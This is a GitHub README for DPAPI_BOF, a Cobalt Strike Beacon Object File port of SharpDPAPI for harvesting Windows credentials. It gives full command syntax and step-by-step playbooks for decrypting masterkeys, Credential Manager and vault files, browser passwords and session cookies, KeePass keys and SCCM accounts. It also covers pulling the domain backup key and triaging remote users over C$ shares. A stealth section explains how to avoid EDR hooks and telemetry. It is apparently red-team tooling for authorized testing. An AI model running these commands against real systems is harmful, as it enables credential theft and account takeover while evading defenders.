DPAPI_BOF

SharpDPAPI ported to Cobalt Strike Beacon Object Files (BOFs) - 19 self-contained BOFs for DPAPI credential triage, all under 52KB each.

Full port of GhostPack/SharpDPAPI - including MS-BKRP RPC masterkey decryption, Chrome/Edge/Brave credential extraction, and machine-level DPAPI triage.

Why BOFs?

	SharpDPAPI (.NET)	DPAPI_BOF
Execution	Fork & run - spawns a sacrificial process	Inline execution - runs in beacon's own thread
Size	~600KB managed assembly	~50KB per BOF
Detection	.NET CLR load + Assembly.Load detections	No CLR, no managed code, no child process
Dependencies	Requires .NET on target	Zero dependencies - DFR resolves APIs at runtime
OPSEC	Moderate - triggers ETW/.NET logs	High - no fork, no injection, minimal footprint

Installation

Option 1: Download Release (Recommended)

Download the latest SharpDPAPI-BOF.zip from Releases
Extract to a folder on your team server (e.g., C:\Tools\DPAPI_BOF\)

SharpDPAPI-BOF/
├── dpapi.cna          ← Load this in Script Manager
├── backupkey.o
├── blob.o
├── certificates.o
├── chrome_cookies.o
├── chrome_logins.o
├── chrome_statekeys.o
├── credentials.o
├── keepass.o
├── machinecredentials.o
├── machinemasterkeys.o
├── machinetriage.o
├── machinevaults.o
├── masterkeys.o
├── ps.o
├── rdg.o
├── sccm.o
├── search.o
├── triage_bof.o
└── vaults.o

In Cobalt Strike: Script Manager → Load → dpapi.cna

Note: The CNA script looks for .o files in a dist/ subdirectory relative to itself. If using the release zip, either:

Place the .o files in a dist/ folder next to dpapi.cna, or

Edit line 7 of dpapi.cna to point to your .o file location

Option 2: Build from Source

See Building from Source below.

Verifying Installation

After loading the CNA, type help in a beacon console. You should see all 19 commands registered:

beacon> help masterkeys
Usage: masterkeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
                  [/target:PATH] [/server:DC] [/sid:SID] [/rpc] [/hashes]

Quick Start

# 1. Get domain backup key (from any domain user beacon with DC access)
backupkey /server:dc01.corp.local

# 2. Use it to decrypt everything
triage /pvk:<BASE64_PVK>

# 3. Or just use RPC (no PVK needed - asks DC to decrypt for you)
triage /rpc

OPSEC Considerations

Execution Model

All BOFs run via Cobalt Strike's beacon_inline_execute() - this means:

✅ No child process - code runs in the beacon's own thread
✅ No .NET CLR - pure C, no managed code loaded
✅ No CreateRemoteThread - no injection into other processes
✅ No temporary DLLs - everything is position-independent code

API Call Visibility

These BOFs use Dynamic Function Resolution (DFR) - APIs are resolved at runtime via GetProcAddress. This avoids static IAT entries but the actual API calls are still visible to:

Usermode hooks (EDR inline hooks on CryptUnprotectData, BCryptDecrypt, etc.)
Kernel callbacks (ETW, syscall telemetry)
RPC monitoring (the /rpc flag creates a named pipe connection to the DC's \pipe\protected_storage)

Stealth Recommendations

Scenario	Recommendation
Default triage	Use `/pvk` or `/credkey` rather than `/unprotect` - avoids calling `CryptUnprotectData` which is hooked by most EDRs
RPC decryption	`/rpc` is lower-risk than `/unprotect` but creates an RPC connection to the DC. Best used during normal auth traffic windows
Machine triage	Requires `SYSTEM` access - ensure you have a high-integrity beacon. These BOFs read LSA secrets via registry
Chrome extraction	Reading Chrome SQLite databases may trigger filesystem telemetry. Use `/target:` to point at staged copies when possible
Mass triage	Run `masterkeys` first to build your key cache, then use `/credkey:` with specific commands - avoids redundant file access

Fork & Run Alternative

If you prefer process isolation (at the cost of OPSEC), you can modify the CNA to use beacon_execute_assembly with a .NET build instead. However, the whole point of BOFs is inline execution - use it.

Command Reference

Masterkey Decryption

`masterkeys`

Enumerate and decrypt user DPAPI masterkeys.

masterkeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
           [/target:PATH] [/server:DC] [/sid:SID] [/rpc] [/hashes]

Flag	Description
`/pvk:BASE64`	Domain DPAPI backup key (base64-encoded PVK)
`/password:PASS`	User's plaintext password for masterkey derivation
`/ntlm:HASH`	User's NTLM hash for masterkey derivation
`/credkey:GUID:SHA1`	Pre-computed masterkey(s), comma-separated
`/target:PATH`	Specific masterkey file or directory
`/server:DC`	Domain controller for password-based/RPC decryption
`/sid:SID`	User SID (required with `/password` + `/target` for remote users)
`/rpc`	Use MS-BKRP RPC to decrypt (any domain user, no admin needed)
`/hashes`	Output masterkey hashes for offline cracking with Hashcat

Examples:

# Decrypt with domain backup key
masterkeys /pvk:AQAAAA...

# Decrypt with user's password
masterkeys /password:Summer2025!

# RPC - ask DC to decrypt (best for current user context)
masterkeys /rpc

# Remote user's masterkeys with their password
masterkeys /password:P@ss /target:\\fs01\C$\Users\bob\AppData\Roaming\Microsoft\Protect /sid:S-1-5-21-...

# Dump hashes for offline cracking
masterkeys /hashes

User Credential Triage

`credentials`

Decrypt Windows Credential Manager files (.vcrd).

credentials [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
            [/target:PATH] [/server:DC] [/rpc]

`vaults`

Decrypt Windows Vault files (Web Credentials, Windows Credentials).

vaults [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
       [/target:PATH] [/server:DC] [/rpc]

`certificates`

Extract DPAPI-protected certificate private keys (PFX).

certificates [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
             [/target:PATH] [/server:DC] [/showall] [/machine] [/rpc]

Extra Flag	Description
`/showall`	Show all certs, including ones without exportable private keys
`/machine`	Triage machine certificate store instead of user

`triage`

Full user DPAPI triage - runs masterkeys + credentials + vaults + certificates in one shot.

triage [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
       [/server:DC] [/showall] [/rpc]

Examples:

# Full triage with domain backup key
triage /pvk:AQAAAA...

# Full triage using RPC
triage /rpc

# Just credentials with a known password
credentials /password:Welcome1!

Application-Specific

`rdg`

Decrypt Remote Desktop Connection Manager (RDCMan) saved credentials.

rdg [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
    [/target:PATH] [/server:DC] [/unprotect] [/rpc]

`keepass`

Extract KeePass master keys from ProtectedUserKey.bin.

keepass [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
        [/target:PATH] [/unprotect] [/rpc]

`ps`

Decrypt PowerShell Export-Clixml PSCredential files and ConvertFrom-SecureString output.

ps /target:FILE [/pvk:BASE64] [/password:PASS] [/ntlm:HASH]
   [/credkey:KEY] [/unprotect] [/rpc]

`sccm`

Extract SCCM Network Access Account (NAA) and task sequence credentials. Requires admin.

sccm [/target:PATH]

Examples:

# RDCMan passwords
rdg /rpc

# KeePass master key
keepass /pvk:AQAAAA...

# PowerShell PSCredential
ps /target:C:\Users\admin\cred.xml /unprotect

# SCCM NAA creds (run as SYSTEM)
sccm

Machine-Level Triage (Requires Admin)

⚠️ These commands must be run from a high-integrity (admin) beacon. They read DPAPI_SYSTEM LSA secrets from the registry.

`machinemasterkeys`

Decrypt SYSTEM DPAPI masterkeys using the DPAPI_SYSTEM LSA secret.

machinemasterkeys

`machinecredentials`

Decrypt SYSTEM-level credential files.

machinecredentials

`machinevaults`

Decrypt SYSTEM-level vault files.

machinevaults

`machinetriage`

Full SYSTEM triage - masterkeys + credentials + vaults + certificates.

machinetriage

Example workflow:

# Elevate first
elevate svc-exe
 
# Then run machine triage
machinetriage

Chrome / Browser

Supports Chrome, Edge, Brave, and Slack credential stores.

`chrome_statekeys`

Extract the AES encryption key from Chrome's Local State file. This key is DPAPI-protected and used to encrypt logins/cookies in Chrome v80+.

chrome_statekeys [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
                 [/server:DC] [/target:PATH] [/browser:X] [/unprotect] [/rpc]

`chrome_logins`

Decrypt saved passwords from Chrome's Login Data SQLite database.

chrome_logins [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
              [/server:DC] [/target:PATH] [/statekey:HEX] [/browser:X]
              [/unprotect] [/showall] [/rpc]

`chrome_cookies`

Decrypt cookies from Chrome's Cookies SQLite database.

chrome_cookies [/pvk:BASE64] [/password:PASS] [/ntlm:HASH] [/credkey:KEY]
               [/server:DC] [/target:PATH] [/statekey:HEX] [/browser:X]
               [/cookie:REGEX] [/url:REGEX] [/unprotect] [/showall] [/rpc]

Extra Flag	Description
`/statekey:HEX`	Pre-extracted AES state key (skip masterkey triage)
`/browser:X`	Target browser: `chrome`, `edge`, `brave`, `slack`
`/cookie:REGEX`	Filter cookies by name (regex)
`/url:REGEX`	Filter cookies by URL (regex)
`/showall`	Include expired cookies / empty passwords

Recommended workflow:

# Step 1: Extract the AES state key
chrome_statekeys /rpc

# Step 2: Use it to decrypt logins (fast - no masterkey triage needed)
chrome_logins /statekey:AABBCCDD...

# Step 3: Grab specific cookies
chrome_cookies /statekey:AABBCCDD... /cookie:session /url:github.com

# Or do it all at once (slower - triages masterkeys each time)
chrome_logins /rpc
chrome_cookies /rpc /cookie:SSID /url:google.com

Utility Commands

`backupkey`

Retrieve the domain DPAPI backup key (PVK) from a domain controller. Requires DA or equivalent.

backupkey [/server:DC] [/nowrap]

Flag	Description
`/server:DC`	Target DC (auto-detected if omitted)
`/nowrap`	Output base64 PVK on a single line (for easy copy/paste)

`blob`

Describe and/or decrypt a raw DPAPI blob.

blob /target:BASE64_BLOB [/pvk:BASE64] [/password:PASS] [/ntlm:HASH]
     [/credkey:KEY] [/unprotect] [/rpc]

`search`

Search for files or registry values containing DPAPI blobs.

search [/target:PATH] [/server:DC] [/pattern:REGEX] [/pvk:BASE64]
       [/credkey:KEY] [/type:TYPE] [/maxBytes:N] [/showErrors]

Flag	Description
`/type:TYPE`	Search type: `file`, `folder`, `registry`, `base64`
`/maxBytes:N`	Maximum file size to scan (bytes)
`/showErrors`	Show access-denied and other errors during search

Common Arguments

Argument	Description	Used By
`/pvk:BASE64`	Domain DPAPI backup key (base64-encoded PVK)	All user commands
`/password:PASS`	User's plaintext password	All user commands
`/ntlm:HASH`	User's NTLM hash	All user commands
`/credkey:GUID:SHA1`	Pre-computed masterkey(s), comma-separated	All user commands
`/rpc`	Use MS-BKRP RPC for masterkey decryption	All user commands
`/server:DC`	Target domain controller	Most commands
`/target:PATH`	Specific file/directory to triage	Most commands
`/unprotect`	Call `CryptUnprotectData` (current user context)	blob, rdg, keepass, ps, chrome
`/showall`	Show all results including ones without keys	certificates, triage, chrome
`/hashes`	Output masterkey hashes for offline cracking	masterkeys
`/nowrap`	Single-line base64 output	backupkey
`/sid:SID`	Target user's SID for remote masterkey decryption	masterkeys
`/statekey:HEX`	Pre-extracted Chrome AES state key	chrome_logins, chrome_cookies
`/browser:X`	Target browser (`chrome`/`edge`/`brave`/`slack`)	chrome commands
`/cookie:REGEX`	Filter cookies by name	chrome_cookies
`/url:REGEX`	Filter cookies by URL	chrome_cookies

Usage Playbooks

Playbook 1: Current User - Zero Knowledge

You have a beacon as a domain user. No passwords, no keys, nothing.

# RPC is your friend - ask the DC to decrypt your masterkeys
masterkeys /rpc
# Copy the {GUID}:SHA1 pairs from output

# Now triage everything with those keys
credentials /credkey:{GUID1}:{SHA1},{GUID2}:{SHA1}
vaults /credkey:{GUID1}:{SHA1}
chrome_logins /credkey:{GUID1}:{SHA1}

Or just:

triage /rpc

Playbook 2: Domain Admin - Mass Triage

You have DA and want to triage multiple machines.

# Step 1: Get the domain backup key
backupkey /server:dc01.corp.local /nowrap

# Step 2: Triage remote users
credentials /pvk:<PVK> /target:\\workstation1\C$\Users
credentials /pvk:<PVK> /target:\\workstation2\C$\Users

# Step 3: Chrome
chrome_statekeys /pvk:<PVK> /target:\\workstation1\C$\Users
chrome_logins /pvk:<PVK> /statekey:<KEY> /target:\\workstation1\C$\Users

Playbook 3: Compromised Password

You have a user's plaintext password or NTLM hash.

# Decrypt their masterkeys
masterkeys /password:Summer2025! /server:dc01.corp.local

# Or with NTLM
masterkeys /ntlm:a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4

# Then triage with the decrypted keys
credentials /credkey:<output from above>

Playbook 4: Machine Triage

You have SYSTEM on a workstation.

# Full machine DPAPI triage
machinetriage

# Plus SCCM (if applicable)
sccm

Building from Source

Prerequisites

# Ubuntu/Debian
sudo apt install gcc-mingw-w64-x86-64 make

# Arch
sudo pacman -S mingw-w64-gcc

# macOS (via Homebrew)
brew install mingw-w64

Build

git clone https://github.com/Bhanunamikaze/DPAPI_BOF.git
cd DPAPI_BOF

# Build all 19 BOFs
make

# Output in dist/
ls -la dist/*.o

Size Verification

The Makefile automatically checks that all BOFs are under 300KB (Cobalt Strike's limit):

=== BOF Size Report ===
  [ OK ] masterkeys.o: 50879 bytes
  [ OK ] credentials.o: 50853 bytes
  ...

Clean Build

make clean && make all

Project Structure

DPAPI_BOF/
├── dpapi.cna                  # Aggressor script - LOAD THIS
├── Makefile                   # Cross-compilation build system
├── README.md
│
├── include/
│   ├── beacon.h               # Cobalt Strike BOF API
│   ├── bofdefs.h              # Dynamic Function Resolution (DFR) macros
│   ├── bkrp.h                 # MS-BKRP RPC client declarations
│   ├── crypto.h               # BCrypt/CNG crypto wrappers
│   ├── dpapi_common.h         # Core DPAPI types & blob parsing
│   ├── helpers.h              # Utility functions (base64, hex, etc.)
│   ├── interop.h              # Win32 interop (DC lookup, token ops)
│   ├── lsadump.h              # LSA secret extraction
│   └── triage.h               # File system triage operations
│
├── src/
│   ├── common/                # Shared library (statically linked into every BOF)
│   │   ├── bkrp.c             # MS-BKRP RPC masterkey decryption
│   │   ├── crypto.c           # AES/3DES/SHA/HMAC via BCrypt
│   │   ├── dpapi.c            # DPAPI blob parsing & decryption
│   │   ├── helpers.c          # Base64, hex, GUID, string utilities
│   │   ├── interop.c          # DC discovery, token manipulation
│   │   ├── lsadump.c          # LSA secret / DPAPI_SYSTEM extraction
│   │   └── triage.c           # Masterkey/credential/vault file triage
│   │
│   └── bofs/                  # Individual BOF entry points (19 total)
│       ├── masterkeys.c       ├── certificates.c
│       ├── credentials.c      ├── rdg.c
│       ├── vaults.c           ├── keepass.c
│       ├── blob.c             ├── ps.c
│       ├── backupkey.c        ├── search.c
│       ├── triage_bof.c       ├── sccm.c
│       ├── machinemasterkeys.c├── chrome_logins.c
│       ├── machinecredentials.c├── chrome_cookies.c
│       ├── machinevaults.c    └── chrome_statekeys.c
│       └── machinetriage.c
│
├── dist/                      # Compiled .o files (after make)
└── .github/workflows/
    └── build.yml              # CI: build + size check + release

How It Works

Each BOF is compiled as a relocatable object file (.o) with all shared library code statically linked via ld -r. This means:

Property	Detail
Self-contained	Each `.o` has all code it needs - no external DLLs
No CRT	Zero C runtime dependency - all Win32 calls via DFR
Inline execution	Runs in beacon's thread via `beacon_inline_execute()`
Cross-compiled	Built on Linux/macOS with MinGW-w64
Small	All BOFs ~50KB (limit: 300KB)

Dynamic Function Resolution (DFR)

Instead of linking against Windows libraries, every Win32 API call is resolved at runtime:

// Instead of: CryptUnprotectData(...)
// We use:     CRYPT32$CryptUnprotectData(...)
// Which expands to: GetProcAddress(GetModuleHandle("crypt32"), "CryptUnprotectData")

This avoids static IAT entries that are trivial for defenders to detect.

Credits

SharpDPAPI by @harmj0y / GhostPack
DPAPI internals research by Benjamin Delpy (Mimikatz)
MS-BKRP protocol documentation by Microsoft and community researchers

License

This project is for authorized security testing only. Use responsibly and in accordance with applicable laws and engagement rules.

Name		Name	Last commit message	Last commit date
Latest commit History 14 Commits
.github/workflows		.github/workflows
include		include
src		src
.gitignore		.gitignore
Makefile		Makefile
README.md		README.md
dpapi.cna		dpapi.cna

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DPAPI_BOF

Table of Contents

Why BOFs?

Installation

Option 1: Download Release (Recommended)

Option 2: Build from Source

Verifying Installation

Quick Start

OPSEC Considerations

Execution Model

API Call Visibility

Stealth Recommendations

Fork & Run Alternative

Command Reference

Masterkey Decryption

masterkeys

User Credential Triage

credentials

vaults

certificates

triage

Application-Specific

rdg

keepass

ps

sccm

Machine-Level Triage (Requires Admin)

machinemasterkeys

machinecredentials

machinevaults

machinetriage

Chrome / Browser

chrome_statekeys

chrome_logins

chrome_cookies

Utility Commands

backupkey

blob

search

Common Arguments

Usage Playbooks

Playbook 1: Current User - Zero Knowledge

Playbook 2: Domain Admin - Mass Triage

Playbook 3: Compromised Password

Playbook 4: Machine Triage

Building from Source

Prerequisites

Build

Size Verification

Clean Build

Project Structure

How It Works

Dynamic Function Resolution (DFR)

Credits

License

About

Topics

Resources

Uh oh!

Stars

Watchers

Forks

Releases 4

Contributors 0

Languages

`masterkeys`

`credentials`

`vaults`

`certificates`

`triage`

`rdg`

`keepass`

`ps`

`sccm`

`machinemasterkeys`

`machinecredentials`

`machinevaults`

`machinetriage`

`chrome_statekeys`

`chrome_logins`

`chrome_cookies`

`backupkey`

`blob`

`search`

Contributors